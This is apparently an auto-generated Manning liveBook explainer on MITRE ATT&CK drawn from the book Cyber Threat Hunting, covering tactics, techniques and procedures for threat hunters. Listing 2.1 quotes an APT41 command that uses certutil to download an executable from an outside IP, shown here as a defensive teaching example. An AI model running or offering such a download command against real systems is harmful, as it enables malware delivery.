liveBook · Manning

MITRE ATT&CK

As explained in Cyber Threat Hunting

MITRE ATT&CK is a knowledge base and framework of adversary tactics and techniques derived from real-world observations.

MITRE ATT&CK is a knowledge base and framework for organizing adversary tactics, techniques, subtechniques, and procedures from observed behavior. Threat hunters use it to form hunting hypotheses and create security-monitoring detection rules. section 2.6

Use the ATT&CK hierarchy to connect adversary goals with observable behavior:

  • Tactics describe why an adversary acts, such as pursuing credential access or exfiltrating data. section 2.6
  • Techniques describe how an adversary achieves a tactical goal, such as dumping credentials. section 2.6
  • Subtechniques describe more specific forms of a technique, such as PowerShell or Windows Command Shell under Command and Scripting Interpreter. section 2.6
  • Procedures capture specific implementations used by adversaries for techniques or subtechniques. section 2.6

ATT&CK provides matrices for Enterprise, Mobile, Industrial Control Systems, and Containers. Its content is updated over time, giving threat-hunting teams a shared structure for mapping scenarios, data sources, and monitoring logic. section 2.0 section 2.6

Command and Scripting Interpreter

A threat-hunting play can map execution behavior to T1059, then refine it to T1059.001 for PowerShell or T1059.003 for Windows Command Shell. This turns a broad scenario into specific behaviors to investigate. section 2.6

Listing 2.1 APT41 using certutil to download 2.exe
certutil -urlcache -split -f http://91.208.184[.]78/2.exe

Inspect a concrete procedure example showing APT41 using certutil to download an executable. section 2.6

How Cyber Threat Hunting covers it

How deep it goes
Defines tactics, techniques, subtechniques, and procedures, then applies them to a threat-hunting play without detailing detection implementation.
Examples
Uses PowerShell, Windows Command Shell, and an APT41 certutil download as concrete technique and procedure examples.
What it assumes
Assumes foundational threat-hunting concepts while establishing how frameworks, tactics, techniques, and data sources support hunting.
What you can do after
Apply it to map threat scenarios to adversary behavior and derive focused hunting hypotheses or monitoring detections.
How it connects
Connects threat hunting with detection rules, threat-hunting plays, TTPs, adversary groups, and security data sources.
Cover of Cyber Threat Hunting
liveBookmanning.com
Read Cyber Threat Hunting on liveBook Get the book at manning.com

Related concepts

This explainer was generated by Manning's knowledge graph from the text of Cyber Threat Hunting. The section links point to the parts of the book it draws on.